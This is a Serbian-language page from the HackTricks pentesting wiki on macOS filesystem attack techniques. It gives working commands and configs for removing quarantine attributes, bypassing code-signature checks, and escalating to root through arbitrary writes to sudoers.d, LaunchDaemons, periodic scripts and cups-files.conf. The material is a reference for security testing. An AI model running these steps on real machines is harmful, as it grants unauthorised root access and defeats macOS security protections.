macOS FS Tricks
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
POSIX kombinacije dozvola
Dozvole u direktorijumu:
- čitanje - možete nabrojati unose u direktorijumu
- pisanje - možete brisati/pisati fajlove u direktorijumu i možete brisati prazne foldere.
- Ali ne možete brisati/modifikovati neprazne foldere osim ako nemate dozvolu za pisanje nad njima.
- Ne možete modifikovati ime foldera osim ako ga posedujete.
- izvršavanje - imate dozvolu da prolazite kroz direktorijum - ako nemate ovo pravo, ne možete pristupiti nijednom fajlu unutar njega, niti u bilo kojim poddirektorijumima.
Opasne kombinacije
Kako prepisati fajl/folder koji poseduje root, ali:
- Jedan roditeljski vlasnik direktorijuma u putanji je korisnik
- Jedan roditeljski vlasnik direktorijuma u putanji je grupa korisnika sa pristupom za pisanje
- Grupa korisnika ima pristup za pisanje na fajl
Sa bilo kojom od prethodnih kombinacija, napadač bi mogao ubaciti simboličku/čvrstu vezu na očekivanu putanju da bi dobio privilegovano proizvoljno pisanje.
Folder root R+X Poseban slučaj
Ako postoje fajlovi u direktorijumu gde samo root ima R+X pristup, ti fajlovi su nedostupni bilo kome drugom. Tako da ranjivost koja omogućava premestiti fajl koji je čitljiv od strane korisnika, koji ne može biti pročitan zbog te restrikcije, iz ovog foldera u drugi, može se iskoristiti da se pročitaju ti fajlovi.
Simbolička veza / Čvrsta veza
Dozvoljen fajl/folder
Ako privilegovani proces piše podatke u fajl koji bi mogao biti kontrolisan od strane korisnika sa nižim privilegijama, ili koji bi mogao biti prethodno kreiran od strane korisnika sa nižim privilegijama. Korisnik bi mogao samo usmeriti na drugi fajl putem simboličke ili čvrste veze, i privilegovani proces će pisati na taj fajl.
Proverite u drugim sekcijama gde bi napadač mogao iskoristiti proizvoljno pisanje za eskalaciju privilegija.
Otvoreno O_NOFOLLOW
Zastavica O_NOFOLLOW
kada se koristi u funkciji open
neće pratiti simboličku vezu u poslednjem komponentu putanje, ali će pratiti ostatak putanje. Ispravan način da se spreči praćenje simboličkih veza u putanji je korišćenje zastavice O_NOFOLLOW_ANY
.
.fileloc
Fajlovi sa .fileloc
ekstenzijom mogu ukazivati na druge aplikacije ili binarne fajlove, tako da kada se otvore, aplikacija/binarni fajl će biti onaj koji se izvršava.
Primer:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
File Descriptors
Leak FD (no O_CLOEXEC
)
Ako poziv na open
nema flag O_CLOEXEC
, deskriptor datoteke će biti nasledđen od strane procesa deteta. Dakle, ako privilegovani proces otvori privilegovanu datoteku i izvrši proces koji kontroliše napadač, napadač će naslediti FD nad privilegovanom datotekom.
Ako možete da naterate proces da otvori datoteku ili folder sa visokim privilegijama, možete zloupotrebiti crontab
da otvorite datoteku u /etc/sudoers.d
sa EDITOR=exploit.py
, tako da će exploit.py
dobiti FD do datoteke unutar /etc/sudoers
i zloupotrebiti je.
Na primer: https://youtu.be/f1HA5QhLQ7Y?t=21098, kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
Avoid quarantine xattrs tricks
Remove it
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable flag
Ako fajl/folder ima ovu imutabilnu atribut, neće biti moguće postaviti xattr na njega.
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs mount
A devfs mount ne podržava xattr, više informacija u CVE-2023-32364
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
writeextattr ACL
Ova ACL sprečava dodavanje xattrs
na datoteku
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble format datoteka kopira datoteku uključujući njene ACE.
U izvornom kodu moguće je videti da će ACL tekstualna reprezentacija smeštena unutar xattr pod nazivom com.apple.acl.text
biti postavljena kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa AppleDouble formatom datoteke sa ACL-om koji sprečava da se drugi xattrs upisuju u nju... xattr za karantin nije postavljen u aplikaciju:
Proverite originalni izveštaj za više informacija.
Da bismo ovo replicirali, prvo moramo dobiti ispravan acl string:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(Note that even if this works the sandbox write the quarantine xattr before)
Nije baš potrebno, ali ostavljam to tu za svaki slučaj:
Obilaženje provere potpisa
Obilaženje provere platformskih binarnih datoteka
Neke sigurnosne provere proveravaju da li je binarna datoteka platformska binarna datoteka, na primer, da bi se omogućilo povezivanje sa XPC servisom. Međutim, kao što je izloženo u obilaženju na https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, moguće je obiti ovu proveru dobijanjem platformskog binarnog fajla (kao što je /bin/ls) i injektovanjem eksploata putem dyld koristeći env varijablu DYLD_INSERT_LIBRARIES
.
Obilaženje zastavica CS_REQUIRE_LV
i CS_FORCED_LV
Moguće je da izvršna binarna datoteka izmeni svoje vlastite zastavice kako bi obilaženje provere sa kodom kao što je:
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
Bypass Code Signatures
Paketi sadrže datoteku _CodeSignature/CodeResources
koja sadrži hash svake pojedinačne datoteke u paketu. Imajte na umu da je hash CodeResources takođe ugrađen u izvršnu datoteku, tako da ne možemo ni s tim da se igramo.
Međutim, postoje neke datoteke čija se potpisivanje neće proveravati, ove imaju ključ omit u plist-u, kao:
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
Moguće je izračunati potpis resursa iz CLI-a sa:
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
Mount dmgs
Korisnik može montirati prilagođeni dmg kreiran čak i na postojećim folderima. Ovako možete kreirati prilagođeni dmg paket sa prilagođenim sadržajem:
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
Obično macOS montira disk komunicirajući sa com.apple.DiskArbitrarion.diskarbitrariond
Mach servisom (koji obezbeđuje /usr/libexec/diskarbitrationd
). Ako dodate parametar -d
u LaunchDaemons plist datoteku i ponovo pokrenete, čuvaće logove u /var/log/diskarbitrationd.log
.
Međutim, moguće je koristiti alate kao što su hdik
i hdiutil
za direktnu komunikaciju sa com.apple.driver.DiskImages
kext-om.
Arbitrarne pisanja
Periodični sh skripti
Ako vaša skripta može biti interpretirana kao shell skripta, mogli biste prepisati /etc/periodic/daily/999.local
shell skriptu koja će se pokretati svaki dan.
Možete fingirati izvršenje ove skripte sa: sudo periodic daily
Daemoni
Napišite arbitrarnu LaunchDaemon kao /Library/LaunchDaemons/xyz.hacktricks.privesc.plist
sa plist-om koji izvršava arbitrarnu skriptu kao:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Samo generišite skriptu /Applications/Scripts/privesc.sh
sa komandama koje želite da izvršite kao root.
Sudoers File
Ako imate arbitrary write, možete kreirati datoteku unutar foldera /etc/sudoers.d/
dodeljujući sebi sudo privilegije.
PATH files
Datoteka /etc/paths
je jedno od glavnih mesta koja popunjava PATH env varijablu. Morate biti root da biste je prepisali, ali ako skripta iz privileged process izvršava neku komandu bez punog puta, možda ćete moći da je hijack-ujete modifikovanjem ove datoteke.
Takođe možete pisati datoteke u /etc/paths.d
da biste učitali nove foldere u PATH
env varijablu.
cups-files.conf
Ova tehnika je korišćena u ovoj analizi.
Kreirajte datoteku /etc/cups/cups-files.conf
sa sledećim sadržajem:
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
Ovo će kreirati datoteku /etc/sudoers.d/lpe
sa dozvolama 777. Dodatni sadržaj na kraju je da pokrene kreiranje loga grešaka.
Zatim, napišite u /etc/sudoers.d/lpe
potrebnu konfiguraciju za eskalaciju privilegija kao što je %staff ALL=(ALL) NOPASSWD:ALL
.
Zatim, ponovo izmenite datoteku /etc/cups/cups-files.conf
tako da označite LogFilePerm 700
kako bi nova sudoers datoteka postala validna pozivajući cupsctl
.
Sandbox Escape
Moguće je pobjeći iz macOS sandbox-a sa FS proizvoljnim pisanjem. Za neke primere pogledajte stranicu macOS Auto Start ali uobičajen primer je pisanje datoteke sa podešavanjima Terminala u ~/Library/Preferences/com.apple.Terminal.plist
koja izvršava komandu pri pokretanju i poziva je koristeći open
.
Generišite pisane datoteke kao drugi korisnici
Ovo će generisati datoteku koja pripada root-u a koju mogu pisati ja (code from here). Ovo bi takođe moglo raditi kao privesc:
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
POSIX Deljena Memorija
POSIX deljena memorija omogućava procesima u POSIX-kompatibilnim operativnim sistemima da pristupaju zajedničkom memorijskom prostoru, olakšavajući bržu komunikaciju u poređenju sa drugim metodama međuprocesne komunikacije. To uključuje kreiranje ili otvaranje objekta deljene memorije pomoću shm_open()
, postavljanje njegove veličine pomoću ftruncate()
, i mapiranje u adresni prostor procesa koristeći mmap()
. Procesi zatim mogu direktno čitati iz i pisati u ovaj memorijski prostor. Da bi se upravljalo konkurentnim pristupom i sprečila korupcija podataka, mehanizmi sinhronizacije kao što su mutexi ili semafori se često koriste. Na kraju, procesi demapiraju i zatvaraju deljenu memoriju pomoću munmap()
i close()
, i opcionalno uklanjaju objekat memorije pomoću shm_unlink()
. Ovaj sistem je posebno efikasan za brzu IPC u okruženjima gde više procesa treba brzo da pristupi deljenim podacima.
Primer Koda Proizvođača
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Write to the shared memory
sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);
return 0;
}
Primer koda za potrošače
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS Zaštićeni Deskriptori
macOS zaštićeni deskriptori su bezbednosna funkcija uvedena u macOS kako bi se poboljšala sigurnost i pouzdanost operacija sa deskriptorima datoteka u korisničkim aplikacijama. Ovi zaštićeni deskriptori pružaju način za povezivanje specifičnih ograničenja ili "čuvara" sa deskriptorima datoteka, koja se sprovode od strane jezgra.
Ova funkcija je posebno korisna za sprečavanje određenih klasa bezbednosnih ranjivosti kao što su neovlašćen pristup datotekama ili trkačke uslove. Ove ranjivosti se javljaju kada, na primer, jedan nit pristupa opisu datoteke dajući drugom ranjivom niti pristup ili kada deskriptor datoteke bude nasleđen od ranjivog procesa. Neke funkcije povezane sa ovom funkcionalnošću su:
guarded_open_np
: Otvara FD sa čuvaromguarded_close_np
: Zatvara gachange_fdguard_np
: Menja zastavice čuvara na deskriptoru (čak i uklanjajući zaštitu čuvara)
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.